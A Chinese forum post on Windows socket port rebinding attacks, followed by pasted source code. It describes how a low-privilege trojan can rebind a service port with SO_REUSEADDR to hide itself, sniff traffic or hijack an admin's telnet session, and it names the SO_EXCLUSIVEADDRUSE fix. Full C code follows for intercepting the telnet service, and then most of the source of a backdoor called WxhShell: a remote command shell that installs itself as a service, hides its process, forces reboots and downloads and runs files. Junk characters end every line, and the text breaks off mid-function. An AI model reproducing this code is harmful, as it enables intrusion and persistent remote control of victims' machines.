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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #DgHF*GG+>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0{b} 1D  
-8^qtB  
  saddr.sin_family = AF_INET; o,WjM[e  
9 " q-Bb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hY.i`sp*/  
3q'AgiW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d~~kJKK  
e4` L8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3A`Gx#  
YTyrX  
  这意味着什么?意味着可以进行如下的攻击: ^m%#1Zd  
Uuy$F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0S4BV%7F  
R1H^CJ=v0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *#YZm>h   
U1r]e%df)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~Fuq{e9`  
XY| y1L 3[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  44} 5o  
f7a4E+}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gbuh04#~  
Jx5`0?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J>  
esJ7#Gxt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i#V(oSx  
tq59w  
  #include sA,bR|  
  #include bvtpqI QZ  
  #include _H]^7`;  
  #include    lBbb7*Ljt<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }AS/^E  
  int main() 5z_d$.CIc  
  { `sKyvPtG  
  WORD wVersionRequested; m'N AM%$}J  
  DWORD ret; !vnC-&G  
  WSADATA wsaData; cR3d& /_,U  
  BOOL val; es*$/A  
  SOCKADDR_IN saddr; Dylm=ZZa  
  SOCKADDR_IN scaddr; 9;#RzelSp  
  int err; AI2XNSV@Yl  
  SOCKET s; nW)+-Wxq  
  SOCKET sc; N_T5sZ\  
  int caddsize; &q>8D'  
  HANDLE mt; e\C-a4[C8P  
  DWORD tid;   dQ8RrD=$&  
  wVersionRequested = MAKEWORD( 2, 2 ); U:TkO=/>:  
  err = WSAStartup( wVersionRequested, &wsaData ); {T-\BTh&Q  
  if ( err != 0 ) { Qx4)'n  
  printf("error!WSAStartup failed!\n"); zz*PAYl.  
  return -1; [8 Pt$5]^  
  } :dt[ #  
  saddr.sin_family = AF_INET; _<c"/B  
   ARu_S B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s-IE}I?;  
ts~VO`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {\(G^B*\  
  saddr.sin_port = htons(23); C*2%Ix18+N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^f,4=-  
  { !Axe}RD'  
  printf("error!socket failed!\n"); !}!KT(% %  
  return -1; ;NA5G:eQ  
  } `9r{z;UQ  
  val = TRUE; )5b_>Uy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6RbDc *  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Qbv@}[f  
  { =c@hE'{  
  printf("error!setsockopt failed!\n"); 4fKvB@O@.  
  return -1; 9;L4\  
  } ;3/}"yG<p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rL-R-;Ca  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @SD XJJ h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Leb Kzqe  
G^ GIHdo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U(f@zGV  
  { i W6O9 ~  
  ret=GetLastError(); B!Wp=9)G  
  printf("error!bind failed!\n"); X)!XR/?  
  return -1; r^ Dm|^f#  
  } sg,\!'  
  listen(s,2); `&A`&-nc=  
  while(1) J,Ki2'=  
  { 50MM05aC  
  caddsize = sizeof(scaddr); Tm`@5  
  //接受连接请求 WVeNO,?ytS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iTinZ!Ut  
  if(sc!=INVALID_SOCKET) fJ/INL   
  { 5 &8BO1V.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G %sO{k7  
  if(mt==NULL) edMCj  
  { G Uu8 N  
  printf("Thread Creat Failed!\n"); R%3yxnM*  
  break; oSrA4g  
  } fZ-"._9UyH  
  } f4p*!e  
  CloseHandle(mt); b*Qd9  
  } 0hoMf=bb$  
  closesocket(s); d`= ~8`  
  WSACleanup(); 1vo3aF  
  return 0; (n kg  
  }   |>(Vo@  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9\Gk)0  
  { h^(U:M=A  
  SOCKET ss = (SOCKET)lpParam; T)e2IXGN  
  SOCKET sc; >l 0aME@-0  
  unsigned char buf[4096]; (/uN+   
  SOCKADDR_IN saddr; #+o$Tg  
  long num; zCJ"O9G<V  
  DWORD val; 1vq2`lWpx  
  DWORD ret; 9C \}bT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vT#R>0@mi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q%G[tXw  
  saddr.sin_family = AF_INET; ;[ QIHA!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C+/EPPi  
  saddr.sin_port = htons(23); Y!j/,FU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +(DzE H |  
  { ,u|>%@h  
  printf("error!socket failed!\n"); gN}$$vS  
  return -1; <zqIq9}r  
  } C1{Q 4(K%  
  val = 100; "S#$:92  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ky|kg@n{  
  { ;}6wj@8He  
  ret = GetLastError(); UhJS=YvT  
  return -1; lai@,_<GV  
  } eM!Oc$C8[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e5AsX.kv B  
  { 0dwD ?GG2  
  ret = GetLastError(); OD}Uc+;K  
  return -1; 2`Bb9&ut>  
  } EJ {vJZO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7d.H 8C2  
  { tfHr'Qy BC  
  printf("error!socket connect failed!\n"); nrE.0Ue1  
  closesocket(sc); I0l3"5X a  
  closesocket(ss); =eY  
  return -1; +ase>'<N#  
  } 8o:h/F  
  while(1) (;g/wb:  
  { !QdX+y<re  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t~qSiHw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5 xr2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S'RRe84 C  
  num = recv(ss,buf,4096,0); Pjq9BK9p  
  if(num>0) *As"U99(  
  send(sc,buf,num,0); yx#!2Z0hw  
  else if(num==0) }{:Jj/d p  
  break; .Od@i$E>&  
  num = recv(sc,buf,4096,0); E<LH-_$  
  if(num>0) V?t*c [  
  send(ss,buf,num,0); &u9,|n]O9  
  else if(num==0) ipu~T)}  
  break; A PSkW9H  
  } Gmu[UI}w8  
  closesocket(ss); ih("`//nP  
  closesocket(sc); Eva&FHRTY  
  return 0 ; %d:cC:`  
  } x%)oL:ue  
vZQraY nJ  
R,.qQF\*  
========================================================== 6GAEQ]  
Y, Lpv|  
下边附上一个代码,,WXhSHELL k3LHLJZ#  
BV<_1 WT}  
========================================================== Foj|1zJS_  
maSVqG  
#include "stdafx.h"  {y{O ze  
b!-=L&V  
#include <stdio.h> xGOmvn^lQ  
#include <string.h> DIYR8l}x  
#include <windows.h> "&qAV'U  
#include <winsock2.h> S^1ZsD.  
#include <winsvc.h> ??Urm[Y.Z  
#include <urlmon.h> .,VLQ btg  
`E;xI v|  
#pragma comment (lib, "Ws2_32.lib") `+."X1  
#pragma comment (lib, "urlmon.lib") Q-iBK*-w  
@(6P L^I  
#define MAX_USER   100 // 最大客户端连接数 iqoMQ7%  
#define BUF_SOCK   200 // sock buffer v"Bm4+c&0  
#define KEY_BUFF   255 // 输入 buffer gr!!pp;  
?Z!R  
#define REBOOT     0   // 重启 |pknaz  
#define SHUTDOWN   1   // 关机 HXh:8 3  
M!hD`5.3  
#define DEF_PORT   5000 // 监听端口 7<:o4\q?m  
|U'`Sc  
#define REG_LEN     16   // 注册表键长度 xA;)02   
#define SVC_LEN     80   // NT服务名长度 modem6#x'  
',Z]w;D!G  
// 从dll定义API ,ZYPffu<*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }]1C=~lC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `)8S Ix  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3 %BI+1&T_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F1}d@^K 7d  
o]]tH  
// wxhshell配置信息 Rc93Fb-Zp  
struct WSCFG { u>] )q7s  
  int ws_port;         // 监听端口 a$iDn_{  
  char ws_passstr[REG_LEN]; // 口令 D0_CDdW%7  
  int ws_autoins;       // 安装标记, 1=yes 0=no =^zGn+@z  
  char ws_regname[REG_LEN]; // 注册表键名 Fv(FRZ)  
  char ws_svcname[REG_LEN]; // 服务名 N3Q .4? z9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z>/ *q2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CZ^ ,bad  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]T40VGJ:h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u!HbS*jqq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ke[`zui@?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <v\$r2C*  
r_8;aPL  
}; ^\S~rW.3_  
H7drDw  
// default Wxhshell configuration \,m*CYs`  
struct WSCFG wscfg={DEF_PORT, hZ|0<u  
    "xuhuanlingzhe", -:!Wds  
    1, r|z B?9Q  
    "Wxhshell", G ` eU   
    "Wxhshell", >,Zn~8&Z  
            "WxhShell Service", Yp3y%n  
    "Wrsky Windows CmdShell Service", Te3 ?z  
    "Please Input Your Password: ", C!1)3w|  
  1, 5|}u25J  
  "http://www.wrsky.com/wxhshell.exe", WK0IagYw  
  "Wxhshell.exe" F *U.cJ%  
    }; 3C;;z  
5)rN#_BKj  
// 消息定义模块 ?{L'd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hq&9S{Ep  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ww+,GnV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A&ceuu  
char *msg_ws_ext="\n\rExit."; Rb^G~82d?  
char *msg_ws_end="\n\rQuit."; sw:a(o&$  
char *msg_ws_boot="\n\rReboot..."; =|fB":vk  
char *msg_ws_poff="\n\rShutdown..."; 6B b+f"  
char *msg_ws_down="\n\rSave to "; roi,?B_8  
|g !$TUS.  
char *msg_ws_err="\n\rErr!"; FLG{1dS  
char *msg_ws_ok="\n\rOK!"; T' Jl,)"  
=RM]/O9  
char ExeFile[MAX_PATH]; mYk~ ]a-  
int nUser = 0; |~v2~   
HANDLE handles[MAX_USER]; LF{8hC[  
int OsIsNt; m}beT~FT_  
^mut-@ N9  
SERVICE_STATUS       serviceStatus; Hkf]=kPy*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zlkW-rRkR  
E8lq2r=  
// 函数声明 F[B=sI  
int Install(void); W%MS,zkAE  
int Uninstall(void); +T,0,^ *  
int DownloadFile(char *sURL, SOCKET wsh); Xe\v6gbD  
int Boot(int flag); #Hl?R5  
void HideProc(void); <|E*aR|M  
int GetOsVer(void); VTX6_&Hc1g  
int Wxhshell(SOCKET wsl); f"4w@X2F  
void TalkWithClient(void *cs); m3(p7Z^Bq  
int CmdShell(SOCKET sock); XrXW6s ;Z  
int StartFromService(void); |v#rSVx  
int StartWxhshell(LPSTR lpCmdLine); 4T~wnTH0Xg  
SoFl]^l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); & \C1QkI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j]mnH`#BL  
_Db&f}.`  
// 数据结构和表定义 0hXx31JN N  
SERVICE_TABLE_ENTRY DispatchTable[] = >I;.q|T  
{ SC3_S.  
{wscfg.ws_svcname, NTServiceMain}, d<m.5ECC}  
{NULL, NULL} SUvrOl   
}; yKz%-6cpSl  
YPKB4p#  
// 自我安装 y M-k]_  
int Install(void) >oi?aD%  
{ r&F 6ZCw  
  char svExeFile[MAX_PATH]; 4`o<e)c3  
  HKEY key; n7/&NiHxv/  
  strcpy(svExeFile,ExeFile); nYBa+>3BDf  
g<$2#c}  
// 如果是win9x系统,修改注册表设为自启动 I;UT; /E2  
if(!OsIsNt) { }YM[aq?6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m G+=0Rn^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "kVzN22  
  RegCloseKey(key); ^/}&z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *.T?#H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u&o$2 '8  
  RegCloseKey(key); {([`[7B>a<  
  return 0; <33,0."K  
    } F]0 qt$GO  
  } o?IrDQ2gmh  
} .Ep&O#  
else { E},zB*5TH  
|GP&!]  
// 如果是NT以上系统,安装为系统服务 5-&"nn2*}1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b0x%#trA{  
if (schSCManager!=0) $e  uI  
{ ao|n<*}  
  SC_HANDLE schService = CreateService V&Rwj_Y  
  ( {/,AMJ<:G]  
  schSCManager, _~F 0i?  
  wscfg.ws_svcname, O{U j  
  wscfg.ws_svcdisp, `'pAiu  
  SERVICE_ALL_ACCESS, @a 7U0$,O#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y|tK19  
  SERVICE_AUTO_START, #]gmM  
  SERVICE_ERROR_NORMAL, {&6i$4T  
  svExeFile, pEW~zl  
  NULL, :s-9@Yl|  
  NULL, 9E[==2TO  
  NULL, 4_$.gO  
  NULL, !*?9n ^PaF  
  NULL n@q- f-2  
  ); }O| 9Qb  
  if (schService!=0) )me`Ud  
  { YPCitGBl  
  CloseServiceHandle(schService); v?%vB#A^  
  CloseServiceHandle(schSCManager); B^d di  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3Y&4yIx  
  strcat(svExeFile,wscfg.ws_svcname); =([4pG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *D9H3M[o#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _,d<9 Y)  
  RegCloseKey(key); &rl;+QS  
  return 0; VC% .u.< F  
    } $3%+N|L  
  } o-;/ x)  
  CloseServiceHandle(schSCManager); +F2X2e)g"  
} |y+_BZ5  
} x]3[0K5;  
~-R2mAUK  
return 1; K{B|  
} 8N3y(y0  
rI6+St  
// 自我卸载 O}}rosA  
int Uninstall(void) qL[ SwEc  
{ Y hC|hDC  
  HKEY key; l@-h.tS  
K CH`=lX  
if(!OsIsNt) { f/iMI)J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tE-g]y3  
  RegDeleteValue(key,wscfg.ws_regname); 1xh7KBr,  
  RegCloseKey(key); Z/|=@gpw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <$WS~tTz  
  RegDeleteValue(key,wscfg.ws_regname); dep"$pys>  
  RegCloseKey(key); j0(jXAc;UB  
  return 0; 5OX[)Li  
  } !+QfQghAT  
} %&q}5Y4!  
}  nb6Y/`G  
else { KeXt"U  
aUA)p}/:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tCar:p4$  
if (schSCManager!=0) #3'M>SaoH  
{ vbZ!NO!H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uU^iY$w  
  if (schService!=0) Xil;`8h  
  { Wcm8,?*  
  if(DeleteService(schService)!=0) { 7?y 7fwER  
  CloseServiceHandle(schService); HPJHA ,  
  CloseServiceHandle(schSCManager); LIQ].VxIs  
  return 0; s{j A!T}  
  } ;-;lM6zP  
  CloseServiceHandle(schService); gU NWM^n  
  } P|]r*1^5  
  CloseServiceHandle(schSCManager); BBv+*jj  
} "^a"`?J  
} ~!cxRd5;F  
V w58w`e  
return 1; 8F@Sy,D  
} m7u`r(&  
0z4M/WrNt  
// 从指定url下载文件 ItZYOt|Hn  
int DownloadFile(char *sURL, SOCKET wsh) ju .pQ=PSX  
{ rPqM&&+  
  HRESULT hr; 3wcF R0f  
char seps[]= "/"; xgpf2y!{  
char *token; Dg{d^>T!_x  
char *file; N^@:+,<3  
char myURL[MAX_PATH]; ;[(d=6{hc]  
char myFILE[MAX_PATH]; s f->8  
N-Z=p)]  
strcpy(myURL,sURL); _{gqi$Mi  
  token=strtok(myURL,seps); 2gMG7%d  
  while(token!=NULL) GNq f  
  { bovAFdHW  
    file=token; L[,19 ;(  
  token=strtok(NULL,seps); CjP<'0gT  
  } r@bh,U$  
T#*H  
GetCurrentDirectory(MAX_PATH,myFILE); 22U`1AD3U  
strcat(myFILE, "\\"); AS re@pW  
strcat(myFILE, file); 5,g +OY=\  
  send(wsh,myFILE,strlen(myFILE),0); v\@RwtP  
send(wsh,"...",3,0); PLMC<4$s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ela^L_NhF  
  if(hr==S_OK) mtn^+*  
return 0; U V*Ruy-  
else 7 ]ysvSM  
return 1; KB(W'M_D\  
:Jv5Flxl  
} ~1[n@{*:(  
(V]3w  
// 系统电源模块 P)J-'2{  
int Boot(int flag) 4KnBb_w  
{ zB~ <@  
  HANDLE hToken; hpPacN  
  TOKEN_PRIVILEGES tkp; y$SUYG'v  
|5O>7~Tp  
  if(OsIsNt) { o ]z#~^w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }u=Oi@~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^2+ Vt=*  
    tkp.PrivilegeCount = 1; D&D6!jz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "QiR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lv'WRS'}  
if(flag==REBOOT) { '?L^Fa_H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kLZVTVSJt  
  return 0; ]+W){W=ai  
} V K 7  
else { ,w H~.LHi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F P|cA^$<  
  return 0; *4}NLUVX  
} VJ&<6  
  } ,m5i(WL  
  else { p\lR1  
if(flag==REBOOT) { }$'_%,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E5M/XW\E6  
  return 0; !]82$  
} |D"L!+J-$  
else { #?jsC)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )H{1 Xjh-  
  return 0; tHZ"o!(S  
} ^MF 2Q+  
} L\:m)g,F.  
Ez5t)l-  
return 1; iae NY;T  
} fs&$?mHL){  
'5De1K.\`  
// win9x进程隐藏模块 Q47R`"  
void HideProc(void) J 3C^tV  
{ RO,TNS~  
7Y(Dg`8G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \&;y:4&l8  
  if ( hKernel != NULL ) jTIG#J)  
  { ~$5XiY8A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *qy \%A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9n{Y6I x:  
    FreeLibrary(hKernel); dX@ic,?  
  } ;M4[Liw~O  
_#:7S sJ  
return; OB$Jv<C@  
} p TwzVz~  
Pd"c*n&9  
// 获取操作系统版本 C|TQf8  
int GetOsVer(void) >Wt@O\k  
{ 9$ ;5J  
  OSVERSIONINFO winfo; wTU$jd1;+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }3X/"2SW^  
  GetVersionEx(&winfo); n-cI~Ax+4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `hkvxt  
  return 1; YYYF a  
  else $jE<n/8  
  return 0; v#%rjml[  
} <KU 0K  
hQm=9gS  
// 客户端句柄模块 0't)-Pj+,  
int Wxhshell(SOCKET wsl) =CK%Zo  
{ zdrP56rzZ  
  SOCKET wsh; D5@=#/?*  
  struct sockaddr_in client; ofQs /  
  DWORD myID; O0L]xr  
s)r !3HS  
  while(nUser<MAX_USER) "I/05k K  
{ bHnKtaK4c  
  int nSize=sizeof(client); <m`CLVx8m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /-[vC$B"  
  if(wsh==INVALID_SOCKET) return 1; iIX%%r+  
A'z]?xQR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ia}qDGqPp!  
if(handles[nUser]==0) h$!YKfhq}  
  closesocket(wsh); ZY`9  
else Uq#2~0n>  
  nUser++; %Tp k1  
  } 3Z9Yzv)A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 92<+ug=  
;P)oKx  
  return 0; JP<j4/  
} M1-tRF  
v9:J 55x  
// 关闭 socket 2[+.* Ef  
void CloseIt(SOCKET wsh) pxTtV g.  
{ [#uhMn^  
closesocket(wsh); $`3yImv+w  
nUser--; '2lzMc>wvP  
ExitThread(0); 0<!9D):Bb  
} q& -mbWBj  
M11\Di1  
// 客户端请求句柄 xn2nh@;  
void TalkWithClient(void *cs) vkTu:3Qe  
{ 4uOR=+/l  
oLKliA=q  
  SOCKET wsh=(SOCKET)cs; M^:JhX{  
  char pwd[SVC_LEN]; !\R5/-_UU  
  char cmd[KEY_BUFF]; F,~BhKkbV  
char chr[1]; Az:~|P  
int i,j; %lnkD5  
yM@sGz6c!  
  while (nUser < MAX_USER) { {im?tZ,  
giNXX jl  
if(wscfg.ws_passstr) { J\*uW|=F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _F6<ba}o3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1!MJ+?Jl  
  //ZeroMemory(pwd,KEY_BUFF); f )T\  
      i=0; -\f7qRW^U  
  while(i<SVC_LEN) { #17 &rizl  
:VlA2Ih&q  
  // 设置超时 q"2APvsvp  
  fd_set FdRead; 1cOR?=G~  
  struct timeval TimeOut; jSE)&K4nI  
  FD_ZERO(&FdRead); $lT8M-yK\  
  FD_SET(wsh,&FdRead); 2.%)OC!q&5  
  TimeOut.tv_sec=8; tJ;qZyy(  
  TimeOut.tv_usec=0; $ uTrM8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q1:dcxR[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K^fs #7  
hO8xH +;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _S ng55s  
  pwd=chr[0]; MN2i0!+  
  if(chr[0]==0xd || chr[0]==0xa) { /io06)-/n  
  pwd=0;  N~$>| gn  
  break; 5HOl~E  
  } L'{W|Xb+  
  i++; c<|y/n  
    } c rb^TuN  
s oY\6mHio  
  // 如果是非法用户,关闭 socket '/8/M{`s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hxL?6mhY  
} "ZGP,=?y2  
,EEAxmf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +S4>}2N33  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tI{]&dev  
Uyb0iQ-,s  
while(1) { iZn0B5]ikj  
O^~IY/[  
  ZeroMemory(cmd,KEY_BUFF); L3Y,z3/  
;9z|rWsF  
      // 自动支持客户端 telnet标准   4u}Cki,vOK  
  j=0; =_-u;w1D  
  while(j<KEY_BUFF) { akyMW7'3V<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bp9RF d{  
  cmd[j]=chr[0]; f9u=h}  
  if(chr[0]==0xa || chr[0]==0xd) { *zPqXtw!j  
  cmd[j]=0; sr;&/l#7h  
  break; >ZOlSLu  
  } !2!Zhw2u  
  j++; gDU!dT  
    } @lj|  
EX_j|/&tZ  
  // 下载文件 LMoZI0)x  
  if(strstr(cmd,"http://")) { ~NK $rHwi%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rlKR <4H  
  if(DownloadFile(cmd,wsh)) EF :g0$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !j'LZ7  
  else 9Q,>I6`l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } KyoMs  
  } !rRBy3&  
  else { z9S (<  
y-+W  
    switch(cmd[0]) { N0S^{j,i  
  Vpg>K #w  
  // 帮助 ]F+|C  
  case '?': { i,;JI>U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c0Ih$z  
    break; $}su 'EIo  
  } o+.L@3RT4  
  // 安装 {FFdMdxy-  
  case 'i': { MBt\"b#t  
    if(Install()) &'fER-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l-%] f]>  
    else Z4/D38_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zF`a:dD$d  
    break; n{TWdC  
    } o~XK*f=(  
  // 卸载 JY CMW! ~  
  case 'r': { ];w}?LFb  
    if(Uninstall()) >Gpq{Ph[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4q]6[/  
    else -/?)0E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k'O.1  
    break; QtnNc!,n  
    } [voZ=+/  
  // 显示 wxhshell 所在路径 ~Fh+y+g?  
  case 'p': { b_TI_  
    char svExeFile[MAX_PATH]; F62 uDyY  
    strcpy(svExeFile,"\n\r"); RWR{jM]V  
      strcat(svExeFile,ExeFile); 5?$MZaT  
        send(wsh,svExeFile,strlen(svExeFile),0); _R ]s1  
    break; &7\}S qp  
    } wIi(\]Q  
  // 重启 y]yl7g =~  
  case 'b': { t)W=0iEd9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jm%s#`)g  
    if(Boot(REBOOT)) 9jImuSZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f%EHzm/V  
    else { cV6H!\  
    closesocket(wsh); b, a7XANsh  
    ExitThread(0); !+3&%vQ)  
    } }=EJM7sM|k  
    break; D'!JV1Q  
    } z"mVE T  
  // 关机 \ 86 g y/  
  case 'd': { OD~Q|I(j  
